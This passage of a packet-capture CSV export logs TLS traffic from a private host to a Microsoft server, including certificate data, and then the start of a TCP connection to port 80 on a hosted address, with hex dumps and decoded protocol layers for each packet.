dd56\"\"}}]\"\n2026-06-14 14:28:47.201312,92,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256293775 Ack=2330694334,bc24112907bbbc2411360d0c080045000028ef4b400080066b2d0a98980b3461c952fa0c01bb4ae1858f8aeb92be50100400219b0000,\".$.)...$.6\n...E..(.K@...k-\n...4a.R....J.......P...!...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61259, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27437, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293775, \"\"ack\"\": 2330694334, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 8603, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:47.201582,93,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2330694334 Ack=1256293775,bc2411360d0cbc24112907bb08004500091b2a9d4000400666e93461c9520a98980b01bbfa0c8aeb92be4ae1858f5018003fa9640000c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414e2cab40b0a70a5b33530fee4548669e9464f3ab8180f32303236303631333133353330385a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333130313330395aa011180f32303236303632313130333330395aa120301e301c06092b0601040182371504040f170d3236303631373130323330395a300d06092a864886f70d01010b05000382010100aa550eb078a29e08bac8df5600b05bfafee0bd2ce046bb47dea115de94327c9b7cdce5502bcda28117a1fb6374c3d0916a26ae229f506f47c2b168ed74f6f43bf4990f3eef1afc626d30a0f75d071024bb7d420fdabde3b61bd32c8b05d261bee4cded94bf747928adb77581ebc710def285aae9e9636eb9693b83ed90ef1ac033f29226b4f88e88261cb4e231c6717cfc83809f28050a0f3284c91dc1affcba2d089b839fae70b54c0df802e6df177de409bcc11ccd0a5f32bcbc70e99fe6f774a41cb1dbb70cadb0ef55b23bb2cbb684199b4457d6bd68101ee544dc2d0b1f4716fae8553fae32c2f5f22f5ea44d9973c7244c686bdb7824ad5852116e45e1a082053d30820539308205353082031da0030201020213430059494d74f16a9c2373d32200000059494d300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc738a417a65160b72a63a87adb53b3576fc4acbddcd68988bfbe2d3391905251046663010dc9e6d8727cabf3c5ed6431ebdf7726146c95d3df8a714507cb9426489640dbfbe781b725f40074cae608a7d8844921daeaff7e762be5dd30f8a2cb7ccde38f9b2e36687c98ebb850d50e94a89af3edc8bb56fda9aaeef4e3937631702b8715635fa73ee2a5dfa334977c0985d44d2251c22d2554f5113328d2636ab9cd49d0056a4ca9fada84279f5d9c0f15e99194dad6faf2fa4fca7a9030d1bfa85466f3bc59a036bbf3fd7f18d978147b6a0a69a7db7f6574e0300ce167410f85b89ac50aa80a36f0eef2c3b2d0ddb7abbf8e0da289a34bdeb5f560f12b010203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414e2cab40b0a70a5b33530fee4548669e9464f3ab8301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004d4645825ff4080daccbb516d653340862f875651fe2d102254fa29eecea9270a59e4d36b90235e47e430be05480ff04846d6a4cfd1e2eedbf179500ee428669347d5471dde21bdc19cd3eebdbd2b8ba9f0641ed12753f7d27f7aec0c0aae30696bd9fd13f0fd7e1d610ce384abe13af4914f79c1e912048abee625746e86ce645b4e53f43680eb327489e55fca560447bf1db90fc45d60940549c78cfddce26d7a3dc8bf629d7f83a458ce71a0755891a42329adf14c9c19ad21bca16da2e2bbb7b594f6d47f1dd9e254938ce4e950e78ca6a33271d5a20b53aae43dfcf8124338af9e8013bd749d5c3fc13b2637c287a886697a8c1b0902ecb3e34e006a6e0df58634f60cdead0f0cf538fa9d282c91084ec4d2da3504ae35641dde9af10f32c0aa5a1a549947bab82a7b6989c34edb3a95779582ea3e0014978f2ee0496d6bb50d4212de0630dc98b8be2d880ad934491a4100bc032e8f75c713748f2eec7b8d49f8e46a1335f1eb07e543da0982ba3a2063033b9f0e0c43b0d7b757124446f0ae72074a99b717a9800582d4be8a15ef6f4a433866b044d6b855b56e054190c69c01b7029da574b8c7ed775c2c63bf4b51d2ef29d852485281b78aa1c3c8637ed98ba4bd0051205dee8bcc8f3b25e445b7961053b19a1ddacedca6aaa89011effbbe7ae39139106a6e918045d488081d7023e473c68be7ba2126d6b4720320c00016903001861043d66c052a708f55b9707c31bebfd489c91360a834307a44cab46cb99be33a23f1729691cea3f6302affaaf4fccba1b0e17c6b8f4fa560bbfcac603030aa236e8fff4a71c97aa4e251601383972029865b276dade117377ff6d4323a8a6735e570804010005303d0b1255ce4440a0b35d2705c56ebe4ca6c44df1f5b2fdff0ff7eba8e7c2697b0b116914fd1fdcc8647761c80bfdc467a4d5c7431b6faf0c934b169ba99b3173681b51f51150fa823db7bd61acd6c884ecb68ed0d6cb56f2f4e3718ece512650c5a4f07d38174563efee1988dc890eeceebc31948c6743504a62f3d3f744552f9264f6c9d93db92badfd3ce0046cadb8926ee3345c38285a5e46fc10c4e893a37424fb5635ff261fe9c3c4012c9c3e1c35022d8bc1e625e8974b8bc0b0488fec42174c0ab64ebc69c462cad96f3543191705dad113ca7fe98dc18eff5dae2e30f25f18995037d899b4a82abe26c387213692df85f616dc8d48435682466d0e000000,\"..\tR....o.mk..A/.>.1..|J..a.FF(.W..o...w%.{.).;ry....Tm5+.z...C...?0..;\n.....40..0.\t+.....0.....!0...0..........\np..50..T.i.FO:...20260613135308Z0..0..0L0\t..+...........j\t...m.H..x.K.g.W..T.....}.....4dDg.u.e..C.\n..T..........\n......20260613101309Z....20260621103309Z. 0.0..\t+.....7.....\n260617102309Z0\n.\t*.H..\n...........U..x......V..[....,.F.G.....2|.|..P+......ct...j&.\"\".PoG..h.t..;...>...bm0..]..$.}B.......,...a......ty(..u..........cn.i;......3..&....&...1.q|....(.\n.2.......-.....p.L\n.....}.\t....\n_2..p....t.........U.;......DW..h...D.-..G...U?.2.../^.M.s.$Lhk.x$.XR.nE....=0..90..50..........C.YIMt.j.#s.\"\"...YIM0\n.\t*.H..\n.....0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\n260612155022Z.\n260712155022Z0n1.0\t..U....US1.0\t..U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....TLS-G2-RSA-04 OCSP Cert0..\"\"0\n.\t*.H..\n..........0..\n.......8...Q`.*c.z.S.Wo.........-3..RQ.fc.\n...r|....d1..w&.l....qE...&H.@.....%..t......I!...~v+..0...|.....6h|...P.........V.......v1p+..c_.>....4.|\t..M\"\"Q.-%T..3(.cj..I..jL....'.]...........O.z.0...Tf..Y.6......x.{j\ni...et.0..gA.....\n.\n6...........\n...K...`.+.........0..0...U.......0.0...U.%..0\n..+......\t0...U..........\np..50..T.i.FO:.0...U.#..0...T.....}.....4dDg.u.e0...U...........0<.\t+.....7.../0-.%+.....7.........F...........]...\"\"......d...0..\t+.....7.\n..0.0\n..+......\t0..\t+.....0......0\n.\t*.H..\n..........MFE._..\n.....S4.b.ue....%O.....p..M6..5.~C..T....mjL.........B.i4}Tq......>.......A..u?}'...........?......8J...I..... H..bWF.l.E..?Ch..'H.U..`D{....E.\t@T.x...&.....)..:E....U..B2............+.{YOmG...%I8.N..x.j3'.Z .:.C...$3....;.I.....c|(z.f.......>4.....XcO`.....S........M-.PJ.VA.....,\n...I.{......4...WyX....Ix......P.!-.c\n........D.....2..\\q7H.......F.3_..~T=..+...03....;\n{uq$Do\n. t..qz..X-K..^...3.k.Mk.[V.T..i..p).WK.~.u..;.......$.(.x..<.7...K..........^D[ya.;......j........9.......]H....>G<h.{..mkG 2...i...a.=f.R...[......H..6\n.C..L.F...3.?.)i..?c....O.........V......\n.6.......N%..89r..e.v...sw.mC#..s^W.....0=..U.D@..]'..n.L..M...........i{..i.....dwa....g...C.o...K....1sh.Q..P..=..a..........V...q..Q&P...}8.Ec..........1..gCPJb...DU/.d...=.+..<..l...n.4\\8(Z^F......t$.V5.&.....,.>.5.-...%..K...H..B.L\n.N.i.b..o5C.............]..0._..P7....*.&..!6.......HCV.Fm....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2331, \"\"id\"\": 10909, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 26345, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330694334, \"\"ack\"\": 1256293775, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 43364, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414e2cab40b0a70a5b33530fee4548669e9464f3ab8180f32303236303631333133353330385a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333130313330395aa011180f32303236303632313130333330395aa120301e301c06092b0601040182371504040f170d3236303631373130323330395a300d06092a864886f70d01010b05000382010100aa550eb078a29e08bac8df5600b05bfafee0bd2ce046bb47dea115de94327c9b7cdce5502bcda28117a1fb6374c3d0916a26ae229f506f47c2b168ed74f6f43bf4990f3eef1afc626d30a0f75d071024bb7d420fdabde3b61bd32c8b05d261bee4cded94bf747928adb77581ebc710def285aae9e9636eb9693b83ed90ef1ac033f29226b4f88e88261cb4e231c6717cfc83809f28050a0f3284c91dc1affcba2d089b839fae70b54c0df802e6df177de409bcc11ccd0a5f32bcbc70e99fe6f774a41cb1dbb70cadb0ef55b23bb2cbb684199b4457d6bd68101ee544dc2d0b1f4716fae8553fae32c2f5f22f5ea44d9973c7244c686bdb7824ad5852116e45e1a082053d30820539308205353082031da0030201020213430059494d74f16a9c2373d32200000059494d300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc738a417a65160b72a63a87adb53b3576fc4acbddcd68988bfbe2d3391905251046663010dc9e6d8727cabf3c5ed6431ebdf7726146c95d3df8a714507cb9426489640dbfbe781b725f40074cae608a7d8844921daeaff7e762be5dd30f8a2cb7ccde38f9b2e36687c98ebb850d50e94a89af3edc8bb56fda9aaeef4e3937631702b8715635fa73ee2a5dfa334977c0985d44d2251c22d2554f5113328d2636ab9cd49d0056a4ca9fada84279f5d9c0f15e99194dad6faf2fa4fca7a9030d1bfa85466f3bc59a036bbf3fd7f18d978147b6a0a69a7db7f6574e0300ce167410f85b89ac50aa80a36f0eef2c3b2d0ddb7abbf8e0da289a34bdeb5f560f12b010203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414e2cab40b0a70a5b33530fee4548669e9464f3ab8301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004d4645825ff4080daccbb516d653340862f875651fe2d102254fa29eecea9270a59e4d36b90235e47e430be05480ff04846d6a4cfd1e2eedbf179500ee428669347d5471dde21bdc19cd3eebdbd2b8ba9f0641ed12753f7d27f7aec0c0aae30696bd9fd13f0fd7e1d610ce384abe13af4914f79c1e912048abee625746e86ce645b4e53f43680eb327489e55fca560447bf1db90fc45d60940549c78cfddce26d7a3dc8bf629d7f83a458ce71a0755891a42329adf14c9c19ad21bca16da2e2bbb7b594f6d47f1dd9e254938ce4e950e78ca6a33271d5a20b53aae43dfcf8124338af9e8013bd749d5c3fc13b2637c287a886697a8c1b0902ecb3e34e006a6e0df58634f60cdead0f0cf538fa9d282c91084ec4d2da3504ae35641dde9af10f32c0aa5a1a549947bab82a7b6989c34edb3a95779582ea3e0014978f2ee0496d6bb50d4212de0630dc98b8be2d880ad934491a4100bc032e8f75c713748f2eec7b8d49f8e46a1335f1eb07e543da0982ba3a2063033b9f0e0c43b0d7b757124446f0ae72074a99b717a9800582d4be8a15ef6f4a433866b044d6b855b56e054190c69c01b7029da574b8c7ed775c2c63bf4b51d2ef29d852485281b78aa1c3c8637ed98ba4bd0051205dee8bcc8f3b25e445b7961053b19a1ddacedca6aaa89011effbbe7ae39139106a6e918045d488081d7023e473c68be7ba2126d6b4720320c00016903001861043d66c052a708f55b9707c31bebfd489c91360a834307a44cab46cb99be33a23f1729691cea3f6302affaaf4fccba1b0e17c6b8f4fa560bbfcac603030aa236e8fff4a71c97aa4e251601383972029865b276dade117377ff6d4323a8a6735e570804010005303d0b1255ce4440a0b35d2705c56ebe4ca6c44df1f5b2fdff0ff7eba8e7c2697b0b116914fd1fdcc8647761c80bfdc467a4d5c7431b6faf0c934b169ba99b3173681b51f51150fa823db7bd61acd6c884ecb68ed0d6cb56f2f4e3718ece512650c5a4f07d38174563efee1988dc890eeceebc31948c6743504a62f3d3f744552f9264f6c9d93db92badfd3ce0046cadb8926ee3345c38285a5e46fc10c4e893a37424fb5635ff261fe9c3c4012c9c3e1c35022d8bc1e625e8974b8bc0b0488fec42174c0ab64ebc69c462cad96f3543191705dad113ca7fe98dc18eff5dae2e30f25f18995037d899b4a82abe26c387213692df85f616dc8d48435682466d0e000000\"\"}}]\"\n2026-06-14 14:28:47.201691,94,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256293775 Ack=2330696625,bc24112907bbbc2411360d0c080045000028ef4c400080066b2c0a98980b3461c952fa0c01bb4ae1858f8aeb9bb15010040018a80000,\".$.)...$.6\n...E..(.L@...k,\n...4a.R....J.......P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61260, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27436, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293775, \"\"ack\"\": 2330696625, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 6312, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:47.209742,95,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=1256293775 Ack=2330696625,bc24112907bbbc2411360d0c0800450000c6ef4d400080066a8d0a98980b3461c952fa0c01bb4ae1858f8aeb9bb15018040091e8000016030300661000006261040f174e78e984e4fcd49c736af6bc808970dfb70a8ad206a626d0ed12753e6c21579f5851c166f8be4eb61642c122b53bdd4a45e0978654dcea9d77e32f4c6c0f070ce93f8ab165c09438758a9c9d4ab43cea3df984fae6208485b1754692d0fd1403030001011603030028000000000000000052cce7d4d5ce424b538898d69a1c9634bf7c61c76a1f58d6df0c14698a3d8e00,\"a...Nx......sj....p..\n....&...u>l!W.XQ.f..N..B.\"\".;.JE...T...w./Ll....?..e..8u...J.<.=.... ...uF...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 61261, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27277, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293775, \"\"ack\"\": 2330696625, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 37352, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x04\\\\x0f\\\\x17Nx\\\\xe9\\\\x84\\\\xe4\\\\xfc\\\\xd4\\\\x9csj\\\\xf6\\\\xbc\\\\x80\\\\x89p\\\\xdf\\\\xb7\\\\n\\\\x8a\\\\xd2\\\\x06\\\\xa6&\\\\xd0\\\\xed\\\\x12u>l!W\\\\x9fXQ\\\\xc1f\\\\xf8\\\\xbeN\\\\xb6\\\\x16B\\\\xc1\\\"\"\\\\xb5;\\\\xddJE\\\\xe0\\\\x97\\\\x86T\\\\xdc\\\\xea\\\\x9dw\\\\xe3/Ll\\\\x0f\\\\x07\\\\x0c\\\\xe9?\\\\x8a\\\\xb1e\\\\xc0\\\\x948u\\\\x8a\\\\x9c\\\\x9dJ\\\\xb4<\\\\xea=\\\\xf9\\\\x84\\\\xfa\\\\xe6 \\\\x84\\\\x85\\\\xb1uF\\\\x92\\\\xd0\\\\xfd' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'R\\\\xcc\\\\xe7\\\\xd4\\\\xd5\\\\xceBKS\\\\x88\\\\x98\\\\xd6\\\\x9a\\\\x1c\\\\x964\\\\xbf|a\\\\xc7j\\\\x1fX\\\\xd6\\\\xdf\\\\x0c\\\\x14i\\\\x8a=\\\\x8e\\\\x00' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:47.209752,96,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2330696625 Ack=1256293933,bc2411360d0cbc24112907bb0800450000282a9f400040066fda3461c9520a98980b01bbfa0c8aeb9bb14ae1862d5010003fa0710000,\".$.6\n..$.)....E..(*.@.@.o.4a.R\n...........J..-P..?.q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10911, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28634, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330696625, \"\"ack\"\": 1256293933, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 41073, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:47.966555,97,TCP 10.152.152.11:64025 -> 194.36.32.201:80,10.152.152.11,194.36.32.201,64025,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=3508020316 Ack=0,bc24112907bbbc2411360d0c080045000034d38140008006a1b10a98980bc22420c9fa190050d118245c000000008002faf0feaf0000020405b40103030801010402,\".$.)...$.6\n...E..4..@.....\n....$ ....P..$\\........................\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 54145, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41393, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64025, \"\"dport\"\": 80, \"\"seq\"\": 3508020316, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 65199, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:28:47.966578,98,TCP 194.36.32.201:80 -> 10.152.152.11:64025,194.36.32.201,10.152.152.11,80,64025,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=693311471 Ack=3508020317,bc2411360d0cbc24112907bb080045000034000040004006b533c22420c90a98980b0050fa19295317efd118245d8012faf085b70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@..3.$ .\n....P..)S....$]...................\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 46387, \"\"src\"\": \"\"194.36.32.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64025, \"\"seq\"\": 693311471, \"\"ack\"\": 3508020317, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 34231, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:28:47.966872,99,TCP 10.152.152.11:64025 -> 194.36.32.201:80,10.152.152.11,194.36.32.201,64025,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3508020317 Ack=693311472,bc24112907bbbc2411360d0c080045000028d38240008006a1bc0a98980bc22420c9fa190050d118245d295317f050100402f51e0000,\".$.)...$.6\n...E..(..@.....\n....$ ....P..$])S..P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54146, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41404, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64025, \"\"dport\"\": 80, \"\"seq\"\": 3508020317, \"\"ack\"\": 693311472, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": 